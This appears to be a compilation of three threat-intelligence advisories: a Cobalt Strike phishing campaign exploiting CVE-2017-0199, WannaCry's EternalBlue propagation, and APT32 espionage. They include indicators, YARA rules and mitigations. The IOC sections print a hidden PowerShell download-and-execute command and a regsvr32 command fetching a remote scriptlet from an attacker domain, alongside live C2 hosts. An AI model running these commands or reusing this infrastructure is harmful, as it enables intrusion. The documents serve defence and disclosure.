Once the XLSM launches its PowerShell command, it downloads a typical Cobalt Strike BEACON payload, configured with the following parameters:

• Process Inject Targets:
  • %windir%\syswow64\rundll32.exe
  • %windir%\sysnative\rundll32.exe
• c2_user_agents
  • Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0; FunWebProducts; IE0006_ver1;EN_GB)
• Named Pipes
  • \\%s\pipe\msagent_%x
• beacon_interval
  • 60
• C2
  • autodiscover.2bunny[.]com/submit.php
  • autodiscover.2bunny[.]com/IE9CompatViewList.xml
  • sfo02s01-in-f2.cloudsend[.]net/submit.php
  • sfo02s01-in-f2.cloudsend[.]net/IE9CompatViewList.xml
• C2 Port
  • TCP/80

Figure 12 depicts an example of a BEACON C2 attempt from this payload.

Figure 12: Cobalt Strike BEACON C2

FireEye Product Detections

The following FireEye products currently detect and block the methods described above. Table 1 lists the current detection and blocking capabilities by product.

Detection Name	Product	Action	Notes
SUSPICIOUS POWERSHELL USAGE (METHODOLOGY)	HX	Detect	XSLM Macro launch
Gen:Variant.Application.HackTool.CobaltStrike.1	HX	Detect	XSLM Macro launch
Malware Object	HX	Detect	BEACON written to disk
Backdoor.BEACON	NX	Block*	BEACON Callback
FE_Malformed_RTF	EX/ETP/NX	Block*	RTF
Malware.Binary.rtf	EX/ETP/NX	Block*	RTF
Malware.Binary	EX/ETP/NX	Block*	RTF
Malware.Binary.xlsx	EX/ETP/NX	Block*	XSLM

Table 1: Detection review

*Appliances must be configured for block mode.

Recommendations

FireEye recommends organizations perform the following steps to mitigate the risk of this campaign:

1. Microsoft Office users should apply the patch from Microsoft as soon as possible, if they have not already installed it.
2. Search historic and future emails that match the included indicators of compromise.
3. Review web proxy logs for connections to the included network based indicators of compromise.
4. Block connections to the included fully qualified domain names.
5. Review endpoints for the included host based indicators of compromise.

Indicators of Compromise

The following section provides the IOCs for the variants of the phishing emails and malicious payloads that FireEye has observed during this campaign.

Email Senders

• PressReader <infodept@cloudsend[.]net>
• Angela Suh <angela.suh@cloudsend[.]net>
• Ashley Safronoff <ashley.safronoff@cloudsend[.]net>
• Lindsey Hersh <lindsey.hersh@cloudsend[.]net>
• Sarah Roberto sarah.roberto@cloudsend[.]net
• noreply@cloudsend[.]net

Email Subject Lines

• Macron Denies Authenticity Of Leak, French Prosecutors Open Probe
• Macron Document Leaker Releases New Images, Promises More Information
• Are Emmanuel Macron's Tax Evasion Documents Real?
• Time Allocation
• Vacancy Report
• china paper table and graph
• results with zeros – some ready not all finished
• Macron Leaks contain secret plans for the islamisation of France and Europe

Attachment Names

• Macron_Authenticity.doc.rtf
• Macron_Information.doc.rtf
• US and EU Trade with China and China CA.xlsm
• Tables 4 5 7 Appendix with zeros.xlsm
• Project Codes - 05.30.17.xlsm
• Weekly Vacancy Status Report 5-30-15.xlsm
• Macron_Tax_Evasion.doc.rtf
• Macron_secret_plans.doc.rtf

Network Based Indicators (NBI)

• lyncdiscover.2bunny[.]com
• autodiscover.2bunny[.]com
• lyncdiscover.2bunny[.]com:443/Autodiscover/AutodiscoverService/
• lyncdiscover.2bunny[.]com/Autodiscover
• autodiscover.2bunny[.]com/K5om
• sfo02s01-in-f2.cloudsend[.]net/submit.php
• sfo02s01-in-f2.cloudsend[.]net/IE9CompatViewList.xml
• tk-in-f156.2bunny[.]com
• tk-in-f156.2bunny[.]com/Agreement.doc
• 104.236.77[.]169
• 138.68.45[.]9
• 162.243.143[.]145
• Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0; FunWebProducts; IE0006_ver1;EN_GB)
• tf-in-f167.2bunny[.]com:443 (*Only seen in VT not ITW)

Host Based Indicators (HBI)

RTF MD5 hash values

• 0bef39d0e10b1edfe77617f494d733a8
• 0e6da59f10e1c4685bb5b35a30fc8fb6
• cebd0e9e05749665d893e78c452607e2

XLSX MD5 hash values

• 38125a991efc6ab02f7134db0ebe21b6
• 3a1dca21bfe72368f2dd46eb4d9b48c4
• 30f149479c02b741e897cdb9ecd22da7

BEACON and Meterpreter payload MD5 hash values

• bae0b39197a1ac9e24bdf9a9483b18ea
• 1151619d06a461456b310096db6bc548

Process arguments, named pipes, and file paths

• powershell.exe -NoP -NonI -W Hidden -Command "Invoke-Expression $(New-Object IO.StreamReader ($(New-Object IO.Compression.DeflateStream ($(New-Object IO.MemoryStream (,$([Convert]::FromBase64String("<base64 blob>")
• regsvr32.exe /s /n /u /i:hxxps://lyncdiscover.2bunny.com/Autodiscover scrobj.dll
• \\<ip>\pipe\msagent_<4 digits>
• C:\Documents and Settings\<user>\Local Settings\Temp\K5om.dll (4 character DLL based on URI of original GET request)

Yara Rules

rule FE_LEGALSTRIKE_MACRO {        meta:version=".1"        filetype="MACRO"        author="Ian.Ahl@fireeye.com @TekDefense"        date="2017-06-02"        description="This rule is designed to identify macros with the specific encoding used in the sample 30f149479c02b741e897cdb9ecd22da7." strings:        // OBSFUCATION        $ob1 = "ChrW(114) & ChrW(101) & ChrW(103) & ChrW(115) & ChrW(118) & ChrW(114) & ChrW(51) & ChrW(50) & ChrW(46) & ChrW(101)" ascii wide        $ob2 = "ChrW(120) & ChrW(101) & ChrW(32) & ChrW(47) & ChrW(115) & ChrW(32) & ChrW(47) & ChrW(110) & ChrW(32) & ChrW(47)" ascii wide        $ob3 = "ChrW(117) & ChrW(32) & ChrW(47) & ChrW(105) & ChrW(58) & ChrW(104) & ChrW(116) & ChrW(116) & ChrW(112) & ChrW(115)" ascii wide        $ob4 = "ChrW(58) & ChrW(47) & ChrW(47) & ChrW(108) & ChrW(121) & ChrW(110) & ChrW(99) & ChrW(100) & ChrW(105) & ChrW(115)" ascii wide        $ob5 = "ChrW(99) & ChrW(111) & ChrW(118) & ChrW(101) & ChrW(114) & ChrW(46) & ChrW(50) & ChrW(98) & ChrW(117) & ChrW(110)" ascii wide        $ob6 = "ChrW(110) & ChrW(121) & ChrW(46) & ChrW(99) & ChrW(111) & ChrW(109) & ChrW(47) & ChrW(65) & ChrW(117) & ChrW(116)" ascii wide        $ob7 = "ChrW(111) & ChrW(100) & ChrW(105) & ChrW(115) & ChrW(99) & ChrW(111) & ChrW(118) & ChrW(101) & ChrW(114) & ChrW(32)" ascii wide        $ob8 = "ChrW(115) & ChrW(99) & ChrW(114) & ChrW(111) & ChrW(98) & ChrW(106) & ChrW(46) & ChrW(100) & ChrW(108) & ChrW(108)" ascii wide        $obreg1 = /(\w{5}\s&\s){7}\w{5}/        $obreg2 = /(Chrw\(\d{1,3}\)\s&\s){7}/        // wscript        $wsobj1 = "Set Obj = CreateObject(\"WScript.Shell\")" ascii wide        $wsobj2 = "Obj.Run " ascii wide condition:         (               (                       (uint16(0) != 0x5A4D)               )               and               (                       all of ($wsobj*) and 3 of ($ob*)                       or                       all of ($wsobj*) and all of ($obreg*)               )        ) }

 

rule FE_LEGALSTRIKE_MACRO_2 {        meta:version=".1"        filetype="MACRO"        author="Ian.Ahl@fireeye.com @TekDefense"        date="2017-06-02"        description="This rule was written to hit on specific variables and powershell command fragments as seen in the macro found in the XLSX file3a1dca21bfe72368f2dd46eb4d9b48c4." strings:        // Setting the environment        $env1 = "Arch = Environ(\"PROCESSOR_ARCHITECTURE\")" ascii wide        $env2 = "windir = Environ(\"windir\")" ascii wide        $env3 = "windir + \"\\syswow64\\windowspowershell\\v1.0\\powershell.exe\"" ascii wide        // powershell command fragments        $ps1 = "-NoP" ascii wide        $ps2 = "-NonI" ascii wide        $ps3 = "-W Hidden" ascii wide        $ps4 = "-Command" ascii wide        $ps5 = "New-Object IO.StreamReader" ascii wide        $ps6 = "IO.Compression.DeflateStream" ascii wide        $ps7 = "IO.MemoryStream" ascii wide        $ps8 = ",$([Convert]::FromBase64String" ascii wide        $ps9 = "ReadToEnd();" ascii wide        $psregex1 = /\W\w+\s+\s\".+\"/ condition:        (               (                       (uint16(0) != 0x5A4D)               )               and               (                       all of ($env*) and 6 of ($ps*)                       or                       all of ($env*) and 4 of ($ps*) and all of ($psregex*)               )        ) }

 

rule FE_LEGALSTRIKE_RTF {     meta:         version=".1"         filetype="MACRO"         author="joshua.kim@FireEye.com"         date="2017-06-02"         description="Rtf Phishing Campaign leveraging the CVE 2017-0199 exploit, to point to the domain 2bunnyDOTcom"     strings:         $header = "{\\rt"         $lnkinfo = "4c0069006e006b0049006e0066006f"         $encoded1 = "4f4c45324c696e6b"         $encoded2 = "52006f006f007400200045006e007400720079"         $encoded3 = "4f0062006a0049006e0066006f"         $encoded4 = "4f006c0065"         $http1 = "68{"         $http2 = "74{"         $http3 = "07{"         // 2bunny.com         $domain1 = "32{\\"         $domain2 = "62{\\"         $domain3 = "75{\\"         $domain4 = "6e{\\"         $domain5 = "79{\\"         $domain6 = "2e{\\"         $domain7 = "63{\\"         $domain8 = "6f{\\"         $domain9 = "6d{\\"         $datastore = "\\*\\datastore"     condition:         $header at 0 and all of them }

Acknowledgements

Joshua Kim, Nick Carr, Gerry Stellatos, Charles Carmakal, TJ Dahms, Nick Richard, Barry Vengerik, Justin Prosco, Christopher Glyer

from Privileges and Credentials: Phished at the Request of Counsel

SMB Exploited: WannaCry Use of “EternalBlue”

Server Message Block (SMB) is the transport protocol used by Windows machines for a wide variety of purposes such as file sharing, printer sharing, and access to remote Windows services. SMB operates over TCP ports 139 and 445. In April 2017, Shadow Brokers released an SMB vulnerability named “EternalBlue,” which was part of the Microsoft security bulletin MS17-010.

The recent WannaCry ransomware takes advantage of this vulnerability to compromise Windows machines, load malware, and propagate to other machines in a network. The attack uses SMB version 1 and TCP port 445 to propagate.

Context

SMB provides support for what are known as SMB Transactions. Using SMB Transactions enables atomic read and write to be performed between an SMB client and server. If the message request is greater than the SMB MaxBufferSize, the remaining messages are sent as Secondary Trans2 requests. This vulnerability affects the srv2.sys kernel driver and is triggered by malformed Secondary Trans2 requests.

Working

After the initial SMB handshake, which consists of a protocol negotiate request/response and a session setup request/response, the ransomware connects to the IPC$ share on the remote machine. Another related aspect of this attack is that the malware is configured to connect to a hardcoded local IP, as shown in Figure 1.

Figure 1: Connecting to the IPC$ share

Next it sends out an initial NT Trans request, which is a huge payload size and consists of a sequence of NOPs, as shown in Figure 2. What it essentially does is move the SMB server state machine to a point where the vulnerability exists so that the attacker can then exploit it using a special crafted packet.

Figure 2: Preparing server for exploit via NT Trans

Speaking the SMB language, the large NT Trans request leads to multiple Secondary Trans2 Requests to accommodate for the large request size. These Secondary Trans2 requests are malformed, as seen in the Figure 3. They act as a trigger point for the vulnerability, and the request data portion contains the shellcode and encrypted payload, which is the launcher for the malware on the remote machine.

Figure 3: Overflow via Malformed Trans2

Post Exploitation & Full Cycle

On successfully triggering the vulnerability, an encrypted payload containing the stager for the malware is loaded on the remote machine. The payload delivered to the remote machine launches a service “mssecsvc” from within the lsass process. This service scans the local network and the internet for machines that are accessible and have exposed SMB ports. The service then uses the aforementioned vulnerability to gain access to a remote machine and deliver the malware payload, thus completing the full cycle. All of these activities happen very quickly and the attack penetrates all machines in a typical LAN within minutes.

The ransomware contains two parts, the main executable file containing the code for scanning the network and triggering the SMB vulnerability on accessible machines. Within the resource section of this executable is another executable file embedded in a section named “R”, which contains the ransomware code. The executable containing the ransomware code has an encrypted ZIP file embedded in the resource section named “XIA”. The encrypted ZIP file contains encrypted keys, image files, Tor client and two other executables: taskdl.exe and tasse.exe. The ZIP file contents can be extracted using the password WNcry@2ol7 embedded within the malware code

Mitigation

There are anomalies and patterns in the NT Trans, Trans2 requests and responses packets that analysts and researchers can use to create useful network level detection. A couple of example signatures that can be deployed are found here and here.

from SMB Exploited: WannaCry Use of “EternalBlue”

Cyber Espionage is Alive and Well: APT32 and the Threat to Global Corporations

Cyber espionage actors, now designated by FireEye as APT32 (OceanLotus Group), are carrying out intrusions into private sector companies across multiple industries and have also targeted foreign governments, dissidents, and journalists. FireEye assesses that APT32 leverages a unique suite of fully-featured malware, in conjunction with commercially-available tools, to conduct targeted operations that are aligned with Vietnamese state interests.

APT32 and FireEye’s Community Response

In the course of investigations into intrusions at several corporations with business interests in Vietnam, FireEye’s Mandiant incident response consultants uncovered activity and attacker-controlled infrastructure indicative of a significant intrusion campaign. In March 2017, in response to active targeting of FireEye clients, the team launched a Community Protection Event (CPE) – a coordinated effort between Mandiant incident responders, FireEye as a Service (FaaS), FireEye iSight Intelligence, and FireEye product engineering – to protect all clients from APT32 activity.

In the following weeks, FireEye released threat intelligence products and updated malware profiles to customers while developing new detection techniques for APT32’s tools and phishing lures. This focused intelligence and detection effort led to new external victim identifications as well as providing sufficient technical evidence to link twelve prior intrusions, consolidating four previously unrelated clusters of threat actor activity into FireEye’s newest named advanced persistent threat group: APT32.

APT32 Targeting of Private Sector Company Operations in Southeast Asia

Since at least 2014, FireEye has observed APT32 targeting foreign corporations with a vested interest in Vietnam’s manufacturing, consumer products, and hospitality sectors. Furthermore, there are indications that APT32 actors are targeting peripheral network security and technology infrastructure corporations, as well as consulting firms that may have connections with foreign investors.

Here is an overview of intrusions investigated by FireEye that are attributed to APT32:

• In 2014, a European corporation was compromised prior to constructing a manufacturing facility in Vietnam.
• In 2016, Vietnamese and foreign-owned corporations working in network security, technology infrastructure, banking, and media industries were targeted. 
• In mid-2016, malware that FireEye believes to be unique to APT32 was detected on the networks of a global hospitality industry developer with plans to expand operations into Vietnam.
• From 2016 through 2017, two subsidiaries of U.S. and Philippine consumer products corporations, located inside Vietnam, were the target of APT32 intrusion operations.
• In 2017, APT32 compromised the Vietnamese offices of a global consulting firm.

Table 1 shows a breakdown of APT32 activity, including the malware families used in each.

Year	Country	Industry	Malware
2014	Vietnam	Network Security	WINDSHIELD
2014	Germany	Manufacturing	WINDSHIELD
2015	Vietnam	Media	WINDSHIELD
2016	Philippines	Consumer products	KOMPROGO WINDSHIELD SOUNDBITE BEACON
2016	Vietnam	Banking	WINDSHIELD
2016	Philippines	Technology Infrastructure	WINDSHIELD
2016	China	Hospitality	WINDSHIELD
2016	Vietnam	Media	WINDSHIELD
2016	United States	Consumer Products	WINDSHIELD PHOREAL BEACON SOUNDBITE
2017	United Kingdom	Consulting	SOUNDBITE

Table 1: APT32 Private Sector Targeting Identified by FireEye

APT32 Interest in Political Influence and Foreign Governments

In addition to focused targeting of the private sector with ties to Vietnam, APT32 has also targeted foreign governments, as well as Vietnamese dissidents and journalists since at least 2013. Here is an overview of this activity:

• A public blog published by the Electronic Frontier Foundation indicated that journalists, activists, dissidents, and bloggers were targeted in 2013 by malware and tactics consistent with APT32 operations.
• In 2014, APT32 leveraged a spear-phishing attachment titled “Plans to crackdown on protesters at the Embassy of Vietnam.exe," which targeted dissident activity among the Vietnamese diaspora in Southeast Asia. Also in 2014, APT32 carried out an intrusion against a Western country’s national legislature.
• In 2015, SkyEye Labs, the security research division of the Chinese firm Qihoo 360, released a report detailing threat actors that were targeting Chinese public and private entities including government agencies, research institutes, maritime agencies, sea construction, and shipping enterprises. The information included in the report indicated that the perpetrators used the same malware, overlapping infrastructure, and similar targets as APT32.
• In 2015 and 2016, two Vietnamese media outlets were targeted with malware that FireEye assesses to be unique to APT32.
• In 2017, social engineering content in lures used by the actor provided evidence that they were likely used to target members of the Vietnam diaspora in Australia as well as government employees in the Philippines.

APT32 Tactics

In their current campaign, APT32 has leveraged ActiveMime files that employ social engineering methods to entice the victim into enabling macros. Upon execution, the initialized file downloads multiple malicious payloads from remote servers. APT32 actors continue to deliver the malicious attachments via spear-phishing emails.

APT32 actors designed multilingual lure documents which were tailored to specific victims. Although the files had “.doc” file extensions, the recovered phishing lures were ActiveMime “.mht” web page archives that contained text and images. These files were likely created by exporting Word documents into single file web pages.

Table 2 contains a sample of recovered APT32 multilingual lure files.

ActiveMime Lure Files	MD5
2017年员工工资性津贴额统计报告.doc (2017 Statistical Report on Staff Salary and Allowances)	5458a2e4d784abb1a1127263bd5006b5
Thong tin.doc (Information)	ce50e544430e7265a45fab5a1f31e529
Phan Vu Tutn CV.doc	4f761095ca51bfbbf4496a4964e41d4f
Ke hoach cuu tro nam 2017.doc (2017 Bailout Plan)	e9abe54162ba4572c770ab043f576784
Instructions to GSIS.doc	fba089444c769700e47c6b44c362f96b
Hoi thao truyen thong doc lap.doc (Traditional Games)	f6ee4b72d6d42d0c7be9172be2b817c1
Giấy yêu cầu bồi thường mới 2016 - hằng.doc (New 2016 Claim Form)	aa1f85de3e4d33f31b4f78968b29f175
Hoa don chi tiet tien no.doc (Debt Details)	5180a8d9325a417f2d8066f9226a5154
Thu moi tham du Hoi luan.doc (Collection of Participants)	f6ee4b72d6d42d0c7be9172be2b817c1
Danh sach nhan vien vi pham ky luat.doc (List of Employee Violations)	6baafffa7bf960dec821b627f9653e44
Nội-dung-quảng-cáo.doc (Internal Content Advertising)	471a2e7341f2614b715dc89e803ffcac
HĐ DVPM-VTC 31.03.17.doc	f1af6bb36cdf3cff768faee7919f0733

Table 2: Sampling of APT32 Lure Files

The Base64 encoded ActiveMime data also contained an OLE file with malicious macros. When opened, many lure files displayed fake error messages in an attempt to trick users into launching the malicious macros. Figure 1 shows a fake Gmail-theme paired with a hexadecimal error code that encourages the recipient to enable content to resolve the error. Figure 2 displays another APT32 lure that used a convincing image of a fake Windows error message instructing the recipient to enable content to properly display document font characters.

Figure 1: Example APT32 Phishing Lure – Fake Gmail Error Message

Figure 2: Example APT32 Phishing Lure – Fake Text Encoding Error Message

APT32 operators implemented several novel techniques to track the efficacy of their phishing, monitor the distribution of their malicious documents, and establish persistence mechanisms to dynamically update backdoors injected into memory.

In order to track who opened the phishing emails, viewed the links, and downloaded the attachments in real-time, APT32 used cloud-based email analytics software designed for sales organizations. In some instances, APT32 abandoned direct email attachments altogether and relied exclusively on this tracking technique with links to their ActiveMime lures hosted externally on legitimate cloud storage services.

To enhance visibility into the further distribution of their phishing lures, APT32 utilized the native web page functionality of their ActiveMime documents to link to external images hosted on APT32 monitored infrastructure.

Figure 3 contains an example phishing lure with HTML image tags used for additional tracking by APT32.

Figure 3: Phishing Lure Containing HTML Image Tags for Additional Tracking

When a document with this feature is opened, Microsoft Word will attempt to download the external image, even if macros were disabled. In all phishing lures analyzed, the external images did not exist. Mandiant consultants suspect that APT32 was monitoring web logs to track the public IP address used to request remote images. When combined with email tracking software, APT32 was able to closely track phishing delivery, success rate, and conduct further analysis about victim organizations while monitoring the interest of security firms.

Once macros were enabled on the target system, the malicious macros created two named scheduled tasks as persistence mechanisms for two backdoors on the infected system. The first named scheduled task launched an application whitelisting script protection bypass to execute a COM scriptlet that dynamically downloaded the first backdoor from APT32’s infrastructure and injected it into memory. The second named scheduled task, loaded as an XML file to falsify task attributes, ran a JavaScript code block that downloaded and launched a secondary backdoor, delivered as a multi-stage PowerShell script. In most lures, one scheduled task persisted an APT32-specific backdoor and the other scheduled task initialized a commercially-available backdoor as backup.

To illustrate the complexity of these lures, Figure 4 shows the creation of persistence mechanisms for recovered APT32 lure “2017年员工工资性津贴额统计报告.doc”.

Figure 4: APT32 ActiveMime Lures Create Two Named Scheduled Tasks

In this example, a scheduled task named “Microsoft Scheduled Maintenance” was created to run Casey Smith’s “Squiblydoo” App Whitelisting bypass every 30 minutes. While all payloads can be dynamically updated, at the time of delivery, this task launched a COM scriptlet (“.sct” file extension) that downloaded and executed Meterpreter hosted on images.chinabytes[.]info. Meterpreter then loaded Cobalt Strike BEACON, configured to communicate with 80.255.3[.]87 using the Safebrowsing malleable C2 profile to further blend in with network traffic. A second scheduled task named “Scheduled Defrags” was created by loading the raw task XML with a backdated task creation timestamp of June 2, 2016. This second task ran “mshta.exe” every 50 minutes which launched an APT32-specific backdoor delivered as shellcode in a PowerShell script, configured to communicate with the domains blog.panggin[.]org, share.codehao[.]net, and yii.yiihao126[.]net.

Figure 5 illustrates the chain of events for a single successful APT32 phishing lure that dynamically injects two multi-stage malware frameworks into memory.

Figure 5: APT32 Phishing Chain of Events

The impressive APT32 operations did not stop after they established a foothold in victim environments. Several Mandiant investigations revealed that, after gaining access, APT32 regularly cleared select event log entries and heavily obfuscated their PowerShell-based tools and shellcode loaders with Daniel Bohannon’s Invoke-Obfuscation framework.

APT32 regularly used stealthy techniques to blend in with legitimate user activity:

• During one investigation, APT32 was observed using a privilege escalation exploit (CVE-2016-7255) masquerading as a Windows hotfix.
• In another investigation, APT32 compromised the McAfee ePO infrastructure to distribute their malware as a software deployment task in which all systems pulled the payload from the ePO server using the proprietary SPIPE protocol.
• APT32 also used hidden or non-printing characters to help visually camouflage their malware on a system. For example, APT32 installed one backdoor as a persistent service with a legitimate service name that had a Unicode no-break space character appended to it. Another backdoor used an otherwise legitimate DLL filename padded with a non-printing OS command control code.

APT32 Malware and Infrastructure

APT32 appears to have a well-resourced development capability and uses a custom suite of backdoors spanning multiple protocols. APT32 operations are characterized through deployment of signature malware payloads including WINDSHIELD, KOMPROGO, SOUNDBITE, and PHOREAL. APT32 often deploys these backdoors along with the commercially-available Cobalt Strike BEACON backdoor. APT32 may also possess backdoor development capabilities for macOS.

The capabilities for this unique suite of malware is shown in Table 3.

Malware	Capabilities
WINDSHIELD	Command and control (C2) communications via TCP raw sockets Four configured C2s and six configured ports – randomly-chosen C2/port for communications Registry manipulation Get the current module's file name Gather system information including registry values, user name, computer name, and current code page File system interaction including directory creation, file deletion, reading, and writing files Load additional modules and execute code Terminate processes Anti-disassembly
KOMPROGO	Fully-featured backdoor capable of process, file, and registry management Creating a reverse shell File transfers Running WMI queries Retrieving information about the infected system
SOUNDBITE	C2 communications via DNS Process creation File upload Shell command execution File and directory enumeration/manipulation Window enumeration Registry manipulation System information gathering
PHOREAL	C2 communications via ICMP Reverse shell creation Filesystem manipulation Registry manipulation Process creation File upload
BEACON (Cobalt Strike)	Publicly available payload that can inject and execute arbitrary code into processes Impersonating the security context of users Importing Kerberos tickets Uploading and downloading files Executing shell commands Configured with malleable C2 profiles to blend in with normal network traffic Co-deployment and interoperability with Metasploit framework SMB Named Pipe in-memory backdoor payload that enables peer-to-peer C2 and pivoting over SMB

Table 3: APT32 Malware and Capabilities

APT32 operators appear to be well-resourced and supported as they use a large set of domains and IP addresses as command and control infrastructure. The FireEye iSIGHT Intelligence MySIGHT Portal contains additional information on these backdoor families based on Mandiant investigations of APT32 intrusions.

Figure 6 provides a summary of APT32 tools and techniques mapped to each stage of the attack lifecycle.

Figure 6: APT32 Attack Lifecycle

Outlook and Implications

Based on incident response investigations, product detections, and intelligence observations along with additional publications on the same operators, FireEye assesses that APT32 is a cyber espionage group aligned with Vietnamese government interests. The targeting of private sector interests by APT32 is notable and FireEye believes the actor poses significant risk to companies doing business in, or preparing to invest in, the country. While the motivation for each APT32 private sector compromise varied – and in some cases was unknown – the unauthorized access could serve as a platform for law enforcement, intellectual property theft, or anticorruption measures that could ultimately erode the competitive advantage of targeted organizations. Furthermore, APT32 continues to threaten political activism and free speech in Southeast Asia and the public sector worldwide. Governments, journalists, and members of the Vietnam diaspora may continue to be targeted.

While actors from China, Iran, Russia, and North Korea remain the most active cyber espionage threats tracked and responded to by FireEye, APT32 reflects a growing host of new countries that have adopted this dynamic capability. APT32 demonstrates how accessible and impactful offensive capabilities can be with the proper investment and the flexibility to embrace newly-available tools and techniques. As more countries utilize inexpensive and efficient cyber operations, there is a need for public awareness of these threats and renewed dialogue around emerging nation-state intrusions that go beyond public sector and intelligence targets.

APT32 Detection

Figure 7 contains a Yara rule can be used to identify malicious macros associated with APT32’s phishing lures:

Figure 7: Yara Rule for APT32 Malicious Macros

Table 4 contains a sampling of the infrastructure that FireEye has associated with APT32 C2.

C2 Infrastructure
103.53.197.202	104.237.218.70	104.237.218.72
185.157.79.3	193.169.245.78	193.169.245.137
23.227.196.210	24.datatimes.org	80.255.3.87
blog.docksugs.org	blog.panggin.org	contay.deaftone.com
check.paidprefund.org	datatimes.org	docksugs.org
economy.bloghop.org	emp.gapte.name	facebook-cdn.net
gap-facebook.com	gl-appspot.org	help.checkonl.org
high.expbas.net	high.vphelp.net	icon.torrentart.com
images.chinabytes.info	imaps.qki6.com	img.fanspeed.net
job.supperpow.com	lighpress.info	menmin.strezf.com
mobile.pagmobiles.info	news.lighpress.info	notificeva.com
nsquery.net	pagmobiles.info	paidprefund.org
push.relasign.org	relasign.org	share.codehao.net
seri.volveri.net	ssl.zin0.com	static.jg7.org
syn.timeizu.net	teriava.com	timeizu.net
tonholding.com	tulationeva.com	untitled.po9z.com
update-flashs.com	vieweva.com	volveri.net
vphelp.net	yii.yiihao126.net	zone.apize.net

Table 4: Sampling of APT32 C2 Infrastructure

from Cyber Espionage is Alive and Well: APT32 and the Threat to Global Corporations